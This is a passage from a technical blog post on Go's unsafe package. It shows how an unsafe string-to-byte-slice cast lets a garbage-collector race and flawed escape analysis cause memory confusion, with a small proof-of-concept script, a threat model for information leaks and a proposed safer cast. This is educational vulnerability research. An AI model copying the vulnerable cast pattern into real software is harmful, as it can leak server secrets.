&lt;p&gt;After the conversion, the second line is read. The result from &lt;code&gt;ReadString&lt;/code&gt; is not even used, but the important part of this is that if the garbage collector was run inside &lt;code&gt;unsafeStringToBytes&lt;/code&gt;, then &lt;code&gt;ReadString&lt;/code&gt; will reuse the heap space that was previously freed.&lt;/p&gt;

&lt;p&gt;Lastly, we check if &lt;code&gt;bytes[0]&lt;/code&gt; is actually equal to &lt;code&gt;firstChar&lt;/code&gt;, and if it is not we have successfully created a data confusion by exploiting a garbage collector race condition. The number of loop executions needed is printed at the end.&lt;/p&gt;

&lt;p&gt;Running this program can have two different results:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The garbage collector finds an incorrect address in the heap and crashed the program with a hint to a possible incorrect usage of &lt;code&gt;unsafe.Pointer&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;It succeeds with the &lt;code&gt;win!&lt;/code&gt; message&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As long as the garbage collector does not trigger at the critical point in the unsafe cast function, the loop will just run forever.&lt;/p&gt;

&lt;p&gt;The first, crashing case happens when the garbage collector triggers inside the unsafe cast function, and again within the second &lt;code&gt;ReadString&lt;/code&gt; call in the PoC code. At that point, &lt;code&gt;bytes&lt;/code&gt; will be a seemingly valid &lt;code&gt;[]byte&lt;/code&gt; slice, but its &lt;code&gt;Data&lt;/code&gt; field will point to previously freed memory.&lt;/p&gt;

&lt;p&gt;The second, succeeding case will happen if the garbage collector triggers only inside the unsafe cast function. In that case, the &lt;code&gt;bytes&lt;/code&gt; slice will be a dangling slice pointing into the freed heap. Then, the second &lt;code&gt;ReadString&lt;/code&gt; will reuse that heap space, and provided that we sent a different string as second line, the first byte in the &lt;code&gt;bytes&lt;/code&gt; slice will now be a different character.&lt;/p&gt;

&lt;p&gt;To achieve the alternating, but infinite input data I use the following Python script:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;errno&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIGPIPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIG_DFL&lt;/span&gt;
&lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIGPIPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;SIG_DFL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It simply sends alternating &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; lines, and ignores IO exceptions caused by the pipe closing abruptly when the Go program crashes (which would spam the terminal with some Python error messages).&lt;/p&gt;

&lt;p&gt;The PoC is run like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./exploit.py | ./main
win! after 51446 iterations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In my experiments, the program would crash with condition 1 about 10% of the time, and succeed in 20,000 to 100,000 iterations otherwise.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why is this a problem? A threat model
&lt;/h2&gt;

&lt;p&gt;Now, all of this might seem rather staged and a succeeding memory confusion after 50,000 iterations on average might not seem that often either. But in fact this is probably the most dangerous vulnerability of the ones shown in this blog series.&lt;/p&gt;

&lt;p&gt;First, the function that contains the actual vulnerability, &lt;code&gt;unsafeStringToBytes&lt;/code&gt;, is taken from real-world Go code. There are hundreds of times this code pattern is used in open-source Go libraries, and taking into account that they are reused across multiple projects, there are actually tens of thousands of times this is used in the 500 most starred open-source Go projects. I already submitted pull requests with a fix to the underlying Go libraries that contained this code pattern.&lt;/p&gt;

&lt;p&gt;Unlike in part 3 of this series, we didn't gain remote code execution with this exploit PoC. We didn't even violate the read-only nature of the slice returned from &lt;code&gt;unsafeStringToBytes&lt;/code&gt;. And the exploit is not even particularly reliable, it takes thousands of iterations until the confusion happens once and sometimes the program even just crashes. Lastly, we added the nanosecond sleep, further increasing the likelihood of the confusion to happen.&lt;/p&gt;

&lt;p&gt;But risk is a combination of likelihood and impact, and the impact of this problem is potentially disastrous.&lt;/p&gt;

&lt;p&gt;First, let's create a potential real-world use case for analysis, set the likelihood in perspective, and then talk about the impact. Imagine a server application written in Go. It handles incoming requests, does some internal calculations and creates an output that is sent back to the client. Of course the application holds some private state, imagine credentials to the database backend or private key data for example. Let's also say that there are 1,000 requests coming in each second. That number of requests is not low, but still in reach of big applications.&lt;/p&gt;

&lt;p&gt;Let's ignore the case of crashing the program for now, since for this threat model assessment we can just assume that if the server application crashes, some daemon supervisor will just restart it. We can think of the loop in the exploit proof of concept as a similar thing to the requests that are coming in. Some code path will be executed for every request, and this will be kind of like a loop iteration. Furthermore, if we get a memory confusion every 50,000 requests, that will add up to a bit more than one confusion per minute. The nanosecond sleep will make the confusion more likely, but still this might occur every few minutes.&lt;/p&gt;

&lt;p&gt;Now, if such a memory confusion happens, there might be some read-only slice that contains unexpected data. If the server application happens to use that slice for creating the response output that is sent to the user, even with some intermediate conversions in between, the application might serve unexpected memory contents back to the user. So with this vulnerability in place, a user might suddenly, and randomly, get some scrambled data instead of an HTML response, and if that user were to look into the data they might find the application secrets. This is a clear information leak vulnerability, and the fact that it is caused by widely used code makes it very dangerous. &lt;/p&gt;
&lt;h1&gt;
  
  
  Third problem: flawed escape analysis can lead to invalid references
&lt;/h1&gt;

&lt;p&gt;On top of the two problems already discussed, there is even a third one. Go uses escape analysis to determine whether a variable should be placed on the heap or the stack. If the Go compiler determines that a variable might live longer than the function where it is declared, then that value needs to be allocated on the heap. If the compiler can see that the value is valid at most as long as the current function executes, then that value can be on the function's stack.&lt;/p&gt;

&lt;p&gt;Basically, a value lives potentially longer than the current function if a reference to it is stored somewhere or it is returned to the calling function. When the current function passes a reference to a value into some other function, then the Go compiler will look into that function and transitively determine whether the value can be on the stack. This goes down to the point where the value might be used by some C code, e.g. a native library, in which case the compiler must assume that the value might be retained longer than the current function, and must therefore be allocated on the heap.&lt;/p&gt;

&lt;p&gt;If a value might live longer than the current function, we say that the value escapes. Likewise, we say it does not escape if it can never outlive the function, thus can be put on the stack. The Go compiler will show the escape decisions with the flag &lt;code&gt;go build -gcflags='-m'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, the incorrect cast code in the example above breaks the chain of referencing that lets the compiler see that a reference to a value is retained. Recall the function:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;unsafeStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// At this point, there is no reference to s anymore, thus s does not escape here&lt;/span&gt;
    &lt;span class="c"&gt;// sliceHeader does not resemble a valid reference to s to the compiler&lt;/span&gt;
    &lt;span class="c"&gt;// it only works "by accident", and even that only if the garbage &lt;/span&gt;
    &lt;span class="c"&gt;// collector does not run exactly here, as described in problem 2&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Imagine a function that uses &lt;code&gt;unsafeStringToBytes&lt;/code&gt; like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;bufio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"abcdefgh"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'\n'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;StringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GetBytes:%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// expected stdout is "abcdefgh"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;GetBytes&lt;/code&gt; function creates a string &lt;code&gt;"abcdefgh"&lt;/code&gt;. It uses a &lt;code&gt;reader&lt;/code&gt; to do so to make sure the string is actually allocated, more on this in just a bit. Then, the string is cast using the unsafe cast function, resulting in a &lt;code&gt;[]byte&lt;/code&gt; slice. The slice is printed to &lt;code&gt;stdout&lt;/code&gt;, and in fact this produces the &lt;code&gt;abcdefgh&lt;/code&gt; output as expected. Finally, the slice is returned (and even with the slice being copied, which means the slice &lt;strong&gt;header&lt;/strong&gt; is copied, this returns a reference to the original underlying data array of &lt;code&gt;s&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;When the compiler runs its escape analysis, it will see that &lt;code&gt;s&lt;/code&gt; is passed to a function &lt;code&gt;StringToBytes&lt;/code&gt;, so it looks into that. As described above, due to the incorrect, unsafe cast there is a broken link in the referencing, and the compiler assumes that &lt;code&gt;s&lt;/code&gt; will not escape. Transitively, &lt;code&gt;s&lt;/code&gt; does not escape in &lt;code&gt;GetBytes&lt;/code&gt; because it is not used after the function call. Therefore &lt;code&gt;s&lt;/code&gt; will be allocated on the stack of &lt;code&gt;GetBytes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If we call &lt;code&gt;GetBytes&lt;/code&gt; from the &lt;code&gt;main&lt;/code&gt; function, the memory will have become invalid:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;bytesResult&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c"&gt;// expected stdout is "abcdefgh", but in reality it's undefined&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"main:%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bytesResult&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The result of &lt;code&gt;GetBytes&lt;/code&gt; is a slice, containing a reference into the stack of &lt;code&gt;GetBytes&lt;/code&gt;. When the slice is returned, that reference surpasses the lifetime of that stack, because after we return to &lt;code&gt;main&lt;/code&gt;, the stack of &lt;code&gt;GetBytes&lt;/code&gt; is destroyed. Therefore, using the result of the unsafe cast works within &lt;code&gt;GetBytes&lt;/code&gt;, but it might not if we return the reference to even more functions.&lt;/p&gt;

&lt;p&gt;This works with casts from slices to strings as well, and in that case we don't have to do something like the &lt;code&gt;reader&lt;/code&gt; call above, instead even simple direct slice literals are dangerous. The reason for the &lt;code&gt;reader&lt;/code&gt; above is that if we had created the string from a string literal, like &lt;code&gt;s := "abcdefgh&lt;/code&gt;, then &lt;code&gt;s&lt;/code&gt; would have been allocated neither on the heap nor on the stack. Instead, it would have been a string constant in the constant data section of the resulting binary, and therefore the reference to that data would have continued to work after returning to &lt;code&gt;main&lt;/code&gt;. The proof of concept relies on the value to live on the stack however.&lt;/p&gt;
&lt;h2&gt;
  
  
  The "correct" way of in-place slice casting using the &lt;code&gt;unsafe&lt;/code&gt; package
&lt;/h2&gt;

&lt;p&gt;There is a "correct" way to cast slices without copying. Whether this is really worth it has to be decided in the special case, but we can at least propose a safer version of the vulnerable casting function above.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;saferStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// create an actual slice&lt;/span&gt;
    &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// create the string and slice headers by casting. Obtain pointers to the &lt;/span&gt;
    &lt;span class="c"&gt;// headers to be able to change the slice header properties in the next step&lt;/span&gt;
    &lt;span class="n"&gt;stringHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c"&gt;// set the slice's length and capacity temporarily to zero (this is actually&lt;/span&gt;
    &lt;span class="c"&gt;// unnecessary here because the slice is already initialized as zero, but if &lt;/span&gt;
    &lt;span class="c"&gt;// you are reusing a different slice this is important&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Cap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;

    &lt;span class="c"&gt;// change the slice header data address&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;

    &lt;span class="c"&gt;// set the slice capacity and length to the string length&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Cap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;

    &lt;span class="c"&gt;// use the keep alive dummy function to make sure the original string s is not &lt;/span&gt;
    &lt;span class="c"&gt;// freed up until this point&lt;/span&gt;
    &lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;KeepAlive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;// or runtime.KeepAlive(*s)&lt;/span&gt;

    &lt;span class="c"&gt;// return the valid bytes slice (still read-only though)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This is a rather complicated process, but here are the important parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;bytes&lt;/code&gt; slice that will be returned at the end is created as an actual, valid slice using the &lt;code&gt;make&lt;/code&gt; function. It is not created by casting a plain header structure that was created as a composite literal. This ensures that Go will treat the address stored in &lt;code&gt;sliceHeader.Data&lt;/code&gt; as if it were a "real" pointer&lt;/li&gt;
&lt;li&gt;Subsequently, the &lt;code&gt;sliceHeader&lt;/code&gt; instance is created by casting as stated in the &lt;code&gt;unsafe&lt;/code&gt; documentation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sliceHeader&lt;/code&gt; length and capacity are explicitly set to zero while the &lt;code&gt;Data&lt;/code&gt; address still points to the old underlying array. This is only necessary if the slice has not just been created. Decreasing the length and capacity is a safe operation, and it ensures that if the garbage collector runs just after the switch of &lt;code&gt;Data&lt;/code&gt; it will not run past the slice end. This is explained in further detail below.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;StringHeader&lt;/code&gt; fields are copied in this order: &lt;code&gt;Data&lt;/code&gt;, then &lt;code&gt;Cap&lt;/code&gt;, then &lt;code&gt;Len&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;runtime.KeepAlive&lt;/code&gt;, we tell the garbage collector that the original string &lt;code&gt;s&lt;/code&gt; should not be freed up until this point. This ensures that the underlying data array will not be freed before it is referenced by the &lt;code&gt;bytes&lt;/code&gt; slice.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When setting the &lt;code&gt;Data&lt;/code&gt; field, the slice length and capacity should be zero as noted in point 3. This is because if the target slice has a length greater than the source slice / string, and the garbage collector triggers right after changing the &lt;code&gt;Data&lt;/code&gt; field but before adjusting the &lt;code&gt;Len&lt;/code&gt; and &lt;code&gt;Cap&lt;/code&gt; fields, the slice would momentarily reach into invalid memory. When the slice is of a type containing references, such as a &lt;code&gt;struct&lt;/code&gt;, the garbage collector must go through the slice to recursively mark the referenced objects, and if the length is set too high it will do so on invalid memory. If the length is just zero, this won't happen. However, in order to ensure the referenced objects itself are not freed it is important to still have them referenced by the original slice / string. This is ensured by the call to &lt;code&gt;runtime.KeepAlive&lt;/code&gt; as stated in point 5.&lt;/p&gt;

&lt;p&gt;Setting &lt;code&gt;Len&lt;/code&gt; after &lt;code&gt;Cap&lt;/code&gt; ensures that the slice never has a capacity lower than its length, which would be an illegal state.&lt;/p&gt;

&lt;p&gt;It might also be okay to do the casting in a single statement, but I am not completely sure about this. The reasoning would be that a statement is evaluated atomically and the garbage collector can not run within the statement. But this might be false, and also it does not fix the third problem, the flawed escape analysis, at all! A one-statement cast would look like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;stringHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stringHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}))&lt;/span&gt;
